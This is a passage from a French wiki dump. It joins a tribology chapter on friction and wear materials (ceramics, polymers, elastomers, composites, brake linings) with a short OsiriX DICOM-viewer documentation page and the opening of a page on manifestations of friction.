forme de placages ou de blocs, ou encore sous forme de mélanges comme les [[w:cermet|cermet]]s. Elles sont caractérisées par leur grande dureté, leur bonne tenue en température et leur inertie chimique. Le frottement céramique sur céramique est mis à profit pour les problèmes d'abrasion et/ou de température élevée et/ou d'ambiance chimique agressive : joints à glace de robinets mélangeurs, systèmes d'étanchéité sur fours de calcination, joints et paliers pour l'industrie chimique, prothèses articulaires ... On utilise les céramiques contre d'autres matériaux surtout pour lutter contre l'usure : outils, filières, guide-fils, appareils de sablage, pistons ou têtes de pistons automobiles, butées, coussinets, ... Leur emploi en couches minces est délicat en raison de leur fragilité et des dilatations différentielles. De nombreux problèmes nécessitent actuellement le recours à des pièces frittées en [[w:carbure de tungstène|carbure de tungstène]] ou en matériaux analogues. Le matériau Sealide développé par Sealol est réalisé selon un procédé spécial à partir de carbures. Il est très dur et capable de frotter avec des valeurs du produit pression x vitesse (pV) très élevées sur lui-même ou mieux sur du carbure de tungstène. Applications : essentiellement garnitures mécaniques d'étanchéité avec risque d'abrasion par des liquides chargés. Bien se rappeler que l'utilisation de matériaux plus ou moins fragiles, céramiques, polymères, composites est toujours contrariée en frottement par une inéluctable tendance à la fissuration. == Matières plastiques == Elles sont utilisées sous forme de matériaux purs massifs, de composites chargés de poudres, de tissus de frottement ... Leur comportement est fonction de phénomènes particuliers : * le rôle fondamental de l'existence et de la stabilité des 3e corps dont la présence est signe de durée de vie élevée, * l'effet de la nature de la contre-face sur la stabilité des 3e corps, * dans les composites, les rôles différents des matériaux de volume (matrices) qui supportent les pressions et des matériaux de surface ou charges qui alimentent le contact en 3e corps * la nécessité dans les composites d'une alimentation continue de l'interface en matériau de surface pour la formation du 3e corps * l'effet de la longueur de parcours sur la formation du 3e corps. Grosch a montré que pour la plupart des matières plastiques le coefficient de frottement augmente avec la vitesse pour passer par un maximum puis redescendre : les radicaux superficiels s'oxydent et donnent des composés qui modifient le comportement physico-chimique des surfaces, d'où l'augmentation de ces coefficients de frottement. Au-delà du maximum survient une dégradation accélérée et irréversible. Le coefficient de frottement varie aussi beaucoup avec les pressions superficielles. On ne lubrifie les plastiques que par des fluides parfaitement résistants à l'oxydation et dont la tension superficielle est inférieure à celle de la matière plastique à lubrifier, par exemple des huiles [[w:silicone|silicone]] bien choisies. Le classement en fonction de la tension critique de mouillage correspond à la qualité du frottement. L'usure est régie par l'état de l'antagoniste et la composition du troisième corps formé dans l'interface. Les thermoplastiques utilisables sont très variés : polyéthylène à haute densité, polyacétals, polyamides, polytétrafluoroéthylène, polyoxyde de phénylène, polycarbonate, polyphénylène sulfure, polyaryl sulfone, poly(amide-imide) ... Parmi les thermodurcissables on trouve : résines phénoliques, polyesters, résines époxydes, silicones, polyimides ... Les polymères sont rarement utilisés purs, mais avec des charges appropriées : on peut considérablement réduire le frottement en incorporant du graphite, du [[w:bisulfure de molybdène|bisulfure de molybdène]], du fluorure de graphite (CFx), du PTFE. On améliore les propriétés thermiques par des poudres de bronze, d'argent ou de graphite et les caractéristiques mécaniques avec des fibres d'[[w:amiant|amiant]]e, de verre, de carbone, de textiles, du mica, des métaux, des oxydes ... === Polytétrafluoroéthylène ou P.T.F.E. === Connu sous le nom de Teflon (marque déposée Du Pont de Nemours) , il peut être utilisé à sec jusqu'à 250 °C. Le coefficient de frottement peut descendre jusqu'à quelques centièmes seulement si la vitesse ne dépasse pas quelques mm par minute. Si l'on dépasse cette vitesse il augmente et si ensuite on la diminue, la valeur initiale n'est retrouvée (quand elle l'est) qu'après un certain temps de « récupération ». Le coefficient de frottement du P.T.F.E. sur la neige est particulièrement bas, d'où son emploi pour les skis. Chargé de [[w:fibre de verre|fibres de verre]], il donne sur des surfaces chromées un coefficient de frottement qui varie de 0,02 à 0,04, l'une des applications classiques étant le lancement des ponts par poussage. Avec des charges à base de bisulfure de molybdène ou de polyimides, sur des pièces chromées ou en PVC, on trouve f=0,008 sous fortes pressions et à vitesses très lentes. L'inconvénient majeur du P.T.F.E. est son important fluage sous charge. Les coussinets Eleslide de Edlan Elekem pallient cet inconvénient : sur une carcasse métallique roulée, épaisse de 3 mm, le P.T.F.E. graphité à 25 % est retenu par des rainures et collé au métal par un adhésif puissant. Il supporte alors des charges de 30 N/mm2 et vieillit bien. === Thermoplastiques fluorés === Utilisés sous forme massive ou en revêtements, ils donnent de très bas coefficients de frottement et possèdent une tenue intéressante aux températures élevées. Pour des applications telles que les glissières de machines-outils, il ne faut pas dépasser une pression de 200 N/cm2. Des matériaux composés à base de polymères fluorés ont été employés abusivement ces années dernières, souvent sans essais préalables. Il en est résulte de bien cuisants échecs. === Autres matières plastiques === Pour la plupart, elles ont une bonne résistance au grippage, une grande inertie chimique et peuvent fonctionner avec peu ou pas de lubrifiant. Leur élasticité permet d'amortir les chocs et les vibrations mais leur résistance mécanique modeste interdit de leur appliquer des charges importantes. Attention ! les matières plastiques ne sont pas forcément des matériaux très bon marché ... ==== Thermoplastiques ==== ===== Parmi les '''thermoplastiques''', on trouve les [[w:polyamide|polyamide]]s plus connus sous leurs appellations commerciales. ===== * Le '''Nylon''' utilisé pour réaliser de petits coussinets et des plaques de glissement est relativement peu coûteux mais présente l'inconvénient d'une reprise d'humidité qui entraîne une dilatation importante : aussi, les coussinets en Nylon sont-ils fendus. On peut l'utiliser sous forme de pièces moulées, souvent réalisées en très grande série, mais aussi le mettre en forme par usinage. Pour l'utiliser au mieux, il faut tenir compte de ses capacités mécaniques. : - La '''pression''' peut atteindre 130 bars pour des applications dynamiques et 250 bars pour des applications statiques ou quasi statiques. : - La '''vitesse de glissement''' ne devrait pas dépasser 2 m/s. : - Le '''produit pression x vitesse''' est limité à 1,25 bar. m/s pour le frottement à sec et à 5,5 bar. m/s dans le cas d'une lubrification constante. : - Le Nylon 6-PA («naturel» ou «bleu») possède une bonne résistance à la traction, il est largement utilisé dans les environnements propres, l'industrie alimentaire, etc. Sa résistance à la compression et sa tenue au frottement peuvent être améliorées par un ajout de bisulfure de molybdène. : - Le Nylon 6 XHA peut supporter des températures relativement élevées (jusqu'à 120°C) et il est résistant aux rayons UV. : - Les nuances Nyloil® et Nyloil FG® (marques déposées de Cast Nylons Ltd) sont autolubrifiantes et leur facteur PV est plus élevé que pour les autres. La formulation FG est par ailleurs apte au contact alimentaire. : - La qualité Nyloil® MDX est autolubrifiante et possède une bonne résistance à la compression ; elle résiste mieux que les autres aux pressions et aux vitesses élevées. : - Le Nylon de type 12 a une moindre reprise d'humidité que le Nylon de type 6. * Le '''Rilsan''' voit sa vitesse d'usure diminuer de 250 fois lorsqu'il est chargé de fibres de verre. S'il est chargé de bronze, avec du bisulfure de molybdène, il évacue bien mieux la chaleur. ===== La famille des [[w:résine acétal|résines acétal]] donne d'intéressants matériaux comme le '''Delrin'''. ===== Ces résines de type « polyoxyméthylène » se distinguent particulièrement dans les environnements humides en raison de leur faible reprise d'humidité. Elles conviennent particulièrement pour la fabrication de pièces mécaniques lorsque la stabilité dimensionnelle est très importante, car elles supportent des contraintes mécaniques élevées, y compris dans le cas du fluage, et leur rigidité est relativement élevée. D'une manière générale les compositions de type homopolymère sont plus rigides que les compositions de type copolymère. Les résines acétal sont faciles à usiner, elles résistent bien aux chocs, à la fatigue et aux solvants organiques. Ce sont par ailleurs de bons isolants électriques. Elles présentent en général des facteurs de frottement plutôt faibles vis-à-vis des métaux et une bonne résistance à l'usure. Lorsqu'elles sont mises en œuvre à l'état pur, les résines acétal sont aptes au contact alimentaire et à certaines applications médicales. On peut leur adjoindre des fibres de verre pour améliorer leurs caractéristiques mécaniques ou des résines fluorées pour abaisser le frottement. Principales utilisations : pièces de guidage, coussinets, cages de roulements, roues dentées, supports isolants, etc. ==== Thermodurcissables ==== Dans la famille des plastiques '''thermodurcissables''', on trouve les résines phénoliques. Le Celoron ou la Textolite sont des matériaux de frottement faits de tissus de coton imprégnés de résines. On les trouve sous forme de plaques et de ronds usinables à la forme souhaitée. On peut les lubrifier à la graisse mais également avec l'eau ou les émulsions aqueuses et on en fait aussi bien de petits engrenages que des coussinets de laminoirs ou des paliers de sortie d'arbre d'hélice de bateaux. === Élastomères pour joints d'étanchéité === Outre les problèmes de frottement qu'il faut résoudre, les joints fonctionnent dans des milieux chimiques plus ou moins agressifs, à des températures très basses ou au contraire très élevées, etc. Le choix du bon matériau est dont très important. * [[w:caoutchouc|caoutchouc]] naturel : il conserve une place non négligeable en raison de sa bonne résistance à l'usure, à la déchirure, à l'abrasion, de son grand allongement à la rupture. Cependant il vieillit mal, s'oxyde ou même brûle facilement. En outre il résiste mal aux solvants, il gonfle dans l'huile et sa température d'emploi ne dépasse pas 100 °C. * caoutchouc nitrile : donne des joints résistants à l'eau chaude, à la vapeur, aux acides faibles, aux alcalis et aux solutions salines. Sa tenue est médiocre aux acides forts, aux hydrocarbures aromatiques. * polychloroprène (Néoprène du Pont de Nemours) : excellente résistance à l'abrasion, aux huiles, essences, graisses, solvants, à l'[[w:ozone|ozone]] et à de nombreux produits chimiques. Il a une bonne reprise élastique après maintien sous charge. Cependant il redoute les solvants chlorés, les oxydants forts et les [[w:hydrocarbure|hydrocarbure]]s fortement aromatiques. * éthylène-propylène (Nordel du Pont ou Vistalon Esso-Chimie) : cet [[w:élastomère|élastomère]] est particulièrement résistant à l'ozone, aux acides et alcalis, [[w:détergent|détergent]]s, [[w:glycol|glycol]]s, mais ne supporte pas les hydrocarbures et les solvants chlorés. Il reste flexible à très basse température (-65°C). * élastomère acrylique (Hycar Goodrich) : il est utilisable de -40 à 200°C, avec une bonne résistance à la compression, mais une résistance moyenne à l'abrasion. Il supporte bien les lubrifiants à base d'huile de pétrole, les graisses, fluides hydrauliques, les oxydants, l'ozone, le gazole. En revanche il ne supporte pas les hydrocarbures aromatiques ni la vapeur au-dessus de 120°C. * élastomère éthylène-acrylique (Vamac du Pont). Il résiste très bien aux températures élevées et assez bien au froid. Il peut aussi constituer de bons amortisseurs anti-vibrations, résiste bien au déchirement, son taux d'allongement est élevé. Il résiste aux huiles chaudes, aux lubrifiants à base d'hydrocarbure et de glycol, aux fluides de transmission. Il gonfle dans les huiles chaudes mais sans perdre ses propriétés essentielles. * Viton du Pont de Nemours : élastomère fluoré présentant une exceptionnelle résistance aux huiles et agents chimiques, même aux températures élevées. * élastomère FEP (fluor-éthylène-propylène) : il a des propriétés voisines du Viton et n'est guère attaqué que par les métaux alcalins. Sa résistance à l'usure est très grande. * élastomère perfluoré (Kalrez du Pont) : sa résistance chimique est semblable à celle du PTFE et ses performances de durée et de résistance chimique le font apprécier malgré son prix très élevé.. De plus, il devient plus élastique en vieillissant et sa température limite d'utilisation est supérieure de 60 à 80 °C à celle des autres élastomères (plus de 300 °C). * élastomère polyester (Hytrel du Pont) : il est utilisé pour des applications demandant une grande résilience et une résistance exceptionnelle à la fatigue par flexion.. Son coefficient de frottement sur l'acier est assez élevé. * élastomères polyuréthanne (Adiprène du Pont) : ils sont caractérisés par une très grande résistance à l'usure et à l'abrasion, une résistance élevée à la rupture. Les polyuréthannes conviennent bien pour des joints d'étanchéité dans les mouvements de translation (joints racleurs), en revanche ils ne conviennent que médiocrement pour l'étanchéité des mouvements de rotation. Une grande dureté est associée à un faible coefficient de frottement. * élastomères silicones. Ils sont surtout utilisés comme joints statiques, de -70 à 220°C. Ils résistent à l'huile moteur à chaud, au gazole, à l'essence, aux liquides de refroidissement. == Bois == Aux États-Unis et en U.R.S.S., mais très peu en France, on utilise encore des coussinets en [[w:bois|bois]] dur de [[w:noyer|noyer]] ou de [[w:chêne|chêne]] imprégné après séchage de cires ou de graisses, et des coussinets en bois comprimé puis imprégné de résines phénoliques. Ces matériaux ne sont pas forcément archaïques ! Le [[w:gaïac|gaïac]], bois tropical très dense et très dur, est appelé « bois de fer ». Malgré son prix très élevé, on l'a longtemps utilisé pour les paliers de sortie d'arbres d'hélice de bateaux. L'eau le lubrifie car il contient une huile naturelle qui exsude par frottement. L'[[w:azobé|azobé]] est un autre bois tropical, un peu moins dur que le précédent mais très résistant à l'usure. L'une de ses applications a été les pistes de roulement du métro sur pneus. == Métaux frittés == Des poudres métalliques sont comprimées à la forme voulue dans une matrice puis chauffées jusqu'à obtenir des micro soudures, mais en dessous cependant de la température de fusion. Cette méthode de fabrication est appelée [[w:frittage|frittage]]. Selon les conditions, la porosité peut atteindre 35 %. Pour l'usage en frottement, les pores sont remplis par un lubrifiant, huile ou graisse, amené par capillarité au contact de la pièce antagoniste. La température d'utilisation ne dépasse généralement pas 70 °C. La charge de lubrifiant convient généralement pour quelques centaines d'heures, après il faut la renouveler. Contrairement aux affirmations de certaines publicités, on n'obtient pas de [[w:lubrification hydrodynamique|lubrification hydrodynamique]] car un film d'huile sous haute pression, s'il pouvait exister, serait chassé dans les pores. Par contre, la présence d'une réserve de lubrifiant rend les frottements bien plus faibles que dans le cas du graissage onctueux. On a pu qualifier ce mode de fonctionnement de « pseudo-hydrodynamique ». Les matériaux les plus couramment utilisés sont la poudre de fer pure ou additionnée pour améliorer la cohésion de 5 à 10 % de cuivre, et la poudre de bronze à 10 % d'étain. On trouve toute une gamme de [[w:coussinet|coussinet]]s standardisés que l'on emmanche dans des alésages précis, afin que la contraction radiale qui en résulte laisse avec l'arbre un jeu bien déterminé. On trouve aussi des blocs frittés usinables à la demande. Cette opération qui bouche les pores et réduit l'arrivée d'huile dans les zones chargées est déconseillée. L'usure aussi peut boucher les pores, ce qui explique de sérieux grippages dans le cas de charges tournantes, ou si après avoir fait fonctionner avec succès un coussinet dans des conditions données, on change ces dernières : par exemple, si on inverse la rotation de l'arbre ou si on remonte un coussinet démonté dans une autre position angulaire. Signalons un emploi de coussinets en fer fritté, cémenté, trempé et cadmié comme antagoniste d'axes chromés (machines à calculer Olivetti). Cette solution diminue la [[w:corrosion de contact|corrosion de contact]]. == Matériaux composés == Dans de nombreuses situations, les matériaux homogènes ne présentent pas toutes les caractéristiques nécessaires pour résister au frottement et à l'usure ; les ingénieurs et chercheurs se sont orientés très tôt vers des matériaux polyphasiques ou composites. Par exemple, le PTFE pur est très décevant contre un métal si la vitesse de glissement dépasse quelques cm/s. Les propriétés s'améliorent notablement si on lui incorpore des charges. La liste des matériqux composés est longue et non limitative ! * Les '''coussinets tri-métal''' utilisent conjointement les qualités des métaux blancs et des bronzes au plomb. Ils ont pour base une tôle d'acier doux épaisse de 1 à 10 mm, sur laquelle on vient fritter et souder simultanément une couche de bronze au plomb ou un cupro-plomb de 0,3 à 1,5 mm. Le métal de frottement proprement dit est un alliage blanc en couche mince de 0,02 à 0,025 mm et protégé lui-même de la corrosion par un « flash » d'indium réalisé par électrolyse. L'ensemble est découpé et mis en forme à la presse. En cas d'incident de graissage, le métal blanc fond et le bronze au plomb limite les dégâts. * Le coussinet '''F.A.M.''' d'Hydromécanique et Frottement est fait d'un fourreau en acier A 37 où s'enroule un fil d'acier Z 120 M 12 aplati et conditionné. Les axes doivent être en acier trempé ou cémenté avec une sulfuration de type Sulf BT. L'application typique de l'acier Hadfield est la lutte contre l'abrasion, surtout si le graissage est aléatoire (matériel de travaux publics, de cimenteries, articulations, ...). * Le matériau '''D.U.''' Glacier est un bronze à 10 % d'étain et 0,35 % de phosphore, fritté sur un feuillard d'acier étamé, imprégné de P.T.F.E. et de plomb puis enroulé à la forme voulue. La couche de bronze a une épaisseur de 0,3 mm et une porosité de 45 à 50 %. L'usure ne doit pas dépasser 0,07 mm, d'où un mode d'utilisation strict. La société Glacier donne le calcul de la durée de vie. Le comportement est excellent en lubrification sèche. * Le matériau '''Pydane''' développé par S.K.F. comporte une tôle sur laquelle on soude un entrelacs de fils d'acier et de fibres de P.T.F.E. enrobés d'une résine thermodurcissable (Polyimide KINEL de Du Pont de Nemours). La fonction glissement est séparée de la fonction support. Emploi préconisé : mouvements d'oscillation sous fortes charges avec lubrification problématique. * Les coussinets '''Glycodur A''' (Federal Mogul) comportent trois couches de matériaux composites fixées sur un feuillard d'acier, à base de bronze fritté et de résines acétal. Des alvéoles retiennent la graisse. Le coefficient de frottement est faible, il n'y a pas de stick-slip, le graissage est fait à vie. Applications : pivots d'essieux, axes divers, articulations, ... * Le '''Glycodur F''' (Federal Mogul) est fait d'un feuillard sur lequel des poudres de bronze et d'étain sont frittées. Les pores sont remplis par laminage de PTFE et MoS2, puis une couche de ce même mélange est fritté sur l'ensemble. * Les matériaux '''Railko''' (Railko limited, G.-B.) sont divers : résine acétal imprégnée d'huile qui donne un coefficient de frottement remarquablement faible et concurrence le bronze massif ou fritté, avec une densité qui ne dépasse pas 1,41 ... ou tissus d'amiante avec résines phénoliques pour des utilisations lourdes, avec éventuellement une imprégnation possible d'huile, de graphite, ou une couche de PTFE, ... ou encore des tissus de coton avec des résines phénoliques. * Le PTFE chargé de 65 à 70 % de bronze a un glissement optimal. Le matériau '''Turcite''' de Busak-Shamban, fait de bandes autocollantes de PTFE et de bronze, s'applique tout spécialement aux glissières. * Les paliers '''S Dry Star''' sont faits d'un dos en acier galvanisé, d'une couche de bronze multiporeuse et d'une couche de glissement en PTFE-plomb. Aucun graissage n'est nécessaire. * Les coussinets '''HP Techné''' comportent un support en acier cuivré ou zingué, une couche de bronze fritté supportant du PTFE chargé de plomb et de PPSU : polyphényl sulfone, polymère antiusure. * Les matériaux '''Feroform''' fabriqués par la société Tenmat [http://www.tenmat.fr/accueil.htm] se composent d'un tissu organique ou synthétique imprégné de résine phénolique. Outre leurs qualités frottantes, ils possèdent une remarquable inertie chimique. La '''toile bakélisée''' de la même société est un stratifié à base d'un fin tissu de coton imprégné d'une résine phénoplaste. * Le matériau '''Feroglide''' fabriqué par la société Tenmat [http://www.tenmat.fr/accueil.htm]est composé d'une matrice d'acier et de bronze recouverte d'une couche de produit antifriction. == Garnitures de friction == Un organe de friction, tel qu'un [[w:frein|frein]], est un appareil transformant l'énergie mécanique en chaleur. On rapporte qu'en 1897 Herbert Frood essaya divers matériaux comme garnitures de friction, entre autres des sections de courroies de transmission. C'est à lui que revient l'idée d'imprégner des tissus d'[[w:amiante|amiante]] par des liants à base de résines phénoliques. La fabrication industrielle des nouvelles garnitures commença en 1902 et le nom de Frood est à l'origine de la marque Ferodo, presque devenue un nom commun, et que les étudiants mal informés traduisent par « fer au dos ». Les critères de choix des garnitures sont aujourd'hui: * la stabilité du coefficient de frottement, * l'absence d'amiante, composé minéral naturel (silicate de magnésium) dont les poussières sont à l'origine de l'asbestose et d'une forme de cancer appelée mésothéliome. * le silence de fonctionnement, * la conservation des performances à chaud, * l'absence de production d'étincelles, * une faible usure de la garniture elle-même et du contre-matériau, et une usure conservant un état de surface de qualité * une compressibilité minimale. La composition des garnitures comporte : * un liant, mélange de résines thermodurcissables, caoutchoucs, etc., fondant vers 150-250 °C pour permettre la mise en forme du produit et se polymérisant par maintien en température. On utilise aussi des liants minéraux, entre autres des phosphates. * des fibres de renforcement. Seule l'amiante était utilisée jusque vers 1980. Les fibres d'amiante sont très fines et très souples, faciles à filer et à tisser. Ce sont les fibres courtes qui, pénétrant dans les poumons, provoquent les maladies évoquées. L'amiante est actuellement remplacée par des fibres de substitution, synthétiques (polyamides, Kevlar), métalliques (acier essentiellement), naturelles ([[w:sisal|sisal]], [[w:coton|coton]]), minérales (verre, carbone, céramique, [[w:bore|bore]], [[w:silice|silice]]) ... * des charges permettant de modifier les caractéristiques mécaniques, le coefficient de frottement, l'usure, etc. On utilise couramment la silice, l'[[w:argile|argile]], le [[w:talc|talc]], les poudres métalliques ainsi que le graphite qui, par ses propriétés lubrifiantes, permet de diminuer l'usure. La majorité des garnitures en service actuellement sont de type organo-métallique. On appelle garnitures minérales celles qui sont à base de liants minéraux et semi-métalliques celles qui contiennent plus de 50% de métaux (en masse). Certaines garnitures sont obtenues par frittage sans utilisation des liants habituels. Les garnitures au graphite sont dites grasses. La valeur habituelle des coefficients de frottement est de 0,35 à 0,45. Plutôt que des coefficients très élevés, on préfère des coefficients de frottement constants malgré les nombreux facteurs de variation : pression, vitesse, température, poussière, humidité ... Les [[w:bruit|bruit]]s de freinage sont des crissements à haute fréquence (squeal noise), des grognements à basse fréquence (groan), et des martèlements ou broutements (judder). On les évite, ou on les réduit, en adoptant des matériaux dont le coefficient augmente légèrement quand la vitesse de glissement augmente. Une certaine dose d'abrasion, provoquée volontairement sur les disques par les garnitures, permet de réduire les surépaisseurs génératrices de bruit et surtout d'éviter un excès de [[w:polissage|polissage]]. Les meilleurs contre-matériaux sont les fontes lamellaires perlitiques, pratiquement exemptes de cémentite et d'eutectique phosphoreux. On essaie actuellement des disques composites où la partie utile en fonte est soutenue par un substrat d'[[w:aluminium|aluminium]] plus léger, mais on n'a pas encore résolu les problèmes de dilatation différentielle. On continue d'expérimenter actuellement des couples de matériaux de type carbone/composite carbone et céramique/céramique, qui sont encore loin d'avoir atteint le domaine « grand public ». Les freins du TGV Thalys comportent des disques en acier au chrome-molybdène-vanadium 28 CrMoV5-08 et des garnitures composites à matrice métallique Cerametal G35. Ce couple produit un troisième corps en forme de « plaques planes » qui permettent l'accommodation de la vitesse par un mécanisme de cisaillement. == Résumé et conclusions == La solution des problèmes de frottement est toujours difficile. Elle ne se résume pas à déterminer un matériau, mais un couple de matériaux ainsi que leur traitement et le lubrifiant adéquat. Les principaux points à examiner sont : * la sécurité de fonctionnement, primordiale, * la durée de fonctionnement sans intervention, * la facilité de changement des pièces d'usure, * la facilité des réparations, * le mode de graissage, * l'ambiance, * le coût de revient, ... Documentation en ligne de OsiriX/A propos d'OsiriX 988 18195 2005-07-31T00:41:10Z Drendon 442 Comply with page naming conventions | [[Documentation en ligne de OsiriX|^]] [[Documentation en ligne de OsiriX/Spécifications d'OsiriX|>]] ---- <center>[[Image:Logo.jpg]]</center> <br> '''OsiriX''' est un logiciel de rendu d'images dédié aux images DICOM (suffixes ".dcm" / ".DCM" ) produites par les équipements médicaux de type (MRI, CT, PET, PET-CT, ...) et la microscopie confocale (formats LSM and BioRAD-PIC). OsiriX peut aussi lire d'autres formats de fichiers : TIFF (8,16, 32 bits), JPEG, PDF, AVI, MPEG et Quicktime. Il se conforme absolument au standard DICOM en ce qui concerne le format de fichier et la communication d'image. OsiriX est capable de recevoir des images transférées suivant le protocole de communication DICOM depuis n'importe quels PACS ou modalité d'imagerie médicale (STORE SCP - fournisseur d'espace de stockage, STORE SCU - utilisateur d'espace de stockage, et Query/Retrieve - sélection/import de copie) . '''OsiriX''' a été spécialement conçu pour la navigation et visualisation d'images multimodales et multidimensions: fenêtre 2D, fenêtre 3D, fenêtre 4D (séries 3D avec une dimension temporelle, par exemple: (CT cardiaque) et fenêtre 5D (séries 3D series avec une dimension temporelle et une dimension fonctionnelle, par exemple: PET-CT cardiaque). La fenêtre 3D offre tous les modes de rendu modernes : Reconstruction multiplan (MPR), Rendu de surface, Rendu de volume et Projection de l'intensité maximum (MIP). Tous ces modes supportent les données 4D et peuvent fusionner les images de deux séries différentes (par exemple: PET-CT). '''Osirix''' est à la fois une station de travail PACS DICOM d'imagerie médicale '''et''' une plateforme logicielle d'analyse d'image pour la recherche médicale imagerie radiologique et nucléaire, imagerie fonctionnelle, imagerie 3D, microscopie confocale et imagerie moléculaire. '''Osirix''' supporte une architecture complète de plug-ins qui vous permet d'étendres les capacités d'OsiriX en fonction de vos besoins personnels ! Cette architecture de plugins vous donne accès à la puissante bibliothèque d'objets Cocoa grâce à un langage orienté objet et dynamique : Objective-C. ---- [[Documentation en ligne de OsiriX|OsiriX]] <br> | [[Documentation en ligne de OsiriX|^]] [[Documentation en ligne de OsiriX/Spécifications de OsiriX|>]] [[en:Online OsiriX Documentation/About OsiriX]] [[es:Documentación en línea de OsiriX/Acerca_de_OsiriX]] [[ja:OsiriX オンライン解説文書/OsiriX_について]] Tribologie - Manifestations du frottement 990 37247 2006-03-12T15:27:01Z Jean-Jacques MILAN 114 /* Triboélectricité */ [[Catégorie:Tribologie]] {{Tribologie}} Les manifestations du frottement ne sont pas toutes évidentes et la liste que nous vous proposons ci-dessous n'est pas exhaustive ! == Résistances passives == Le frottement et l'adhérence engendrent des efforts mécaniques (des [[W:force|force]]s et des [[W:couple|couple]]s) dont la principale caractéristique est de contrarier systématiquement ou d'empêcher les mouvements relatifs et les déformations des objets. Ces efforts prennent naissance non seulement au niveau des surfaces en contact, mais aussi au sein même des matériaux solides ou fluides qui se déplacent ou se déforment. Le frottement n'est pas un problème à deux dimensions mais bel et bien à trois dimensions, il concerne des volumes et pas seulement des surfaces comme on a trop tendance à le croire ! Sans que nous y prêtions attention, nos gestes quotidiens intègrent les données du frottement. Quand nous saisissons un verre de bière, le volant d'une automobile ou le manche d'un outil, nous « réglons » instinctivement la contraction de nos muscles. Lorsque les forces de contact prennent, à notre insu, des valeurs inhabituelles, les accidents surviennent. Tel objet fragile devenu glissant nous échappe des mains et se brise sur le sol. Nos pieds glissent soudain sur une plaque de verglas, sur un sol de bois mouillé ou sur quelque amas nauséabond de matière molle traitreusement déposé sur le crottoir (non, ce n'est pas une faute de frappe) que nous parcourons. Les glissades intempestives dans les salles de bain, lieux de tous les dangers, sont la cause de 90 % des bras cassés : chacun en déduira ce qu'il voudra ... == Échauffement == L'[[W:énergie mécanique|énergie mécanique]] perdue par frottement, transformée en [[W:chaleur|chaleur]], est généralement irrécupérable et parfois très difficile à évacuer. Les calories produites par le frottement d'un crayon sur une feuille de papier n'empêchent personne de dormir, mais il n'en est pas de même lors de la conception des [[W:frein|frein]]s d'un [[W:train à grande vitesse|train à grande vitesse]] ou a fortiori ceux d'un avion de ligne. Les aspects thermiques du frottement peuvent avoir des conséquences inattendues. == Usure== L'usure, multiforme, souvent paradoxale, ne peut être réduite à une simple perte de matière. Sous ce terme se cachent des phénomènes extraordinairement diversifiés, qui provoquent un ensemble de transformations géométriques et physicochimiques des couches superficielles soumises au frottement. L'usure provoque des pertes économiques énormes mais elle n'est pas toujours nuisible. L'usure de la craie sur le tableau permet au professeur de communiquer des informations à ses élèves. Les usinages par abrasion ([[w:affûtage|affûtage]], [[W:meulage|meulage]], [[W:rectification|rectification]], [[W:rodage|rodage]] pris dans ce sens) ne sont rien d'autre que de l'usure ; on cherche alors à enlever le maximum de matière avec un minimum d'énergie, tout en laissant sur les pièces des surfaces utilisables. == Bruits et sons musicaux == Les [[W:vibration|vibration]]s dues au frottement sont un phénomène très banal. Les portes qui grincent, les freins de poids lourds qui hurlent dans la nuit, l'excitation de la chanterelle d'un [[W:violon|violon]] par l'archet du Maître, en sont des exemples. En 1829, [[W:Gustave-Gaspard Coriolis|Gustave-Gaspard Coriolis]] a indiqué que la production de vibrations est particulièrement forte quand le frottement produit peu d'usure, et inversement. En tenant la craie « comme il faut », nous formons sur le tableau un dépôt large et opaque, en silence. En la tenant « mal », nous engendrons des crissements plus ou moins discordants ou d'autres types de sons dont nous reparlerons plus loin. Le bruit des pièces en frottement peut devenir très gênant lorsque l'on se trouve dans l'impossibilité d'y échapper. Ainsi, les équipages de la Station Spatiale Internationale se sont plaints dès le début du niveau sonore trop élevé provoqué par de nombreux organes mobiles, au premier rang desquels on trouve les ventilateurs. Des amortisseurs spéciaux installés par le cosmonaute russe Guennadi Padalka et l'astronaute américain Michael Finke ont sensiblement réduit le niveau du bruit. == Triboélectricité == [[W:Thalès de Milet|Thalès de Milet]] a décrit comme « familière » la propriété de l'[[W:ambre jaune|ambre jaune]] (elektron) qui acquiert par frottement le pouvoir d'attirer de menus objets. ''Elle était comme l'ambre et moi comme la paille'', dit une vieille romance persane, ''elle me touchait et je restais accroché à elle'' ... La [[W:triboélectricité|triboélectricité]] (électricité dite ''statique'') produit facilement des tensions très élevées, redoutables en raison des risques d'incendie, de destruction de composants électroniques ... Elle se produit avec les solides mais aussi avec des liquides coulant dans des conduites ou des gaz en mouvement : on doit brancher le camion-citerne sur l'avion qu'il vient ravitailler, pour les mettre au même potentiel. On trouvera plus loin davantages de détails sur ces phénomènes, en particulier [[Tribologie_-_Genèse_des_frottements#Circulation_des_fluides_et_production_de_charges_électriques|ici]]. == Triboluminescence== D'une manière générale la [[W:luminescence|luminescence]] est une émission lumineuse d'origine autre que thermique. On parle de [[W:triboluminescence|triboluminescence]] à propos de la [[W:lumière|lumière]] issue de corps frottés ou broyés, sucre, sel gemme, craie ... Cette émission a été décrite dès le XVIe siècle. Pour la percevoir, il faut s'habituer à l'obscurité pendant quelques minutes, le temps pour la [[W:rhodopsine|rhodopsine]] de se reformer dans la [[W:rétine|rétine]]. Dans l'obscurité, on peut écraser avec une pince des bonbons durs diversement parfumés, tels les « bonbons anglais » parfumés au [[W:salicylate de méthyle|salicylate de méthyle]] et autres arômes plus ou moins chimiques. Selon la nature de ces arômes, mais aussi des colorants et autres additifs qui « dopent » le sucre, l'émission peut notablement varier en couleur et en intensité. La [[W:saccharine|saccharine]], édulcorant utilisé par les diabétiques, ou encore des morceaux d'[[W:acide tartrique|acide tartrique]], font merveille. À défaut, frotter du sucre avec un couteau ou décoller un morceau de ruban adhésif ... Il faut remarquer que la triboluminescence ne survient qu'avec des [[W:isolant|isolant]]s électriques, jamais avec des [[W:conducteur|conducteur]]s. == Réactions chimiques== Les surfaces subissent de nombreuses transformations, y compris diverses sortes de [[W:corrosion|corrosion]] amorcées ou favorisées par frottement. Il y a là de nombreux pièges dans lesquels ne manquent pas de tomber les novices et qui de toute manière donnent toujours du fil à retordre aux gens d'expérience. Le cas le plus fréquent est celui où il faut faire frotter deux composants mécaniques l'un contre l'autre dans un milieu physico-chimique plus ou moins hostile. Après avoir choisi deux matériaux réputés (individuellement !) résistants à ce milieu, disons au hasard un [[W:acier inoxydable|acier inoxydable]] [[W:passivation|passivé]] par le [[W:molybdène|molybdène]] et une [[W:résine phénolique|résine phénolique]], on lance la fabrication, on assemble le mécanisme, on met en marche ... et ô surprise, les matériaux se corrodent ... == Odeurs == C'est une 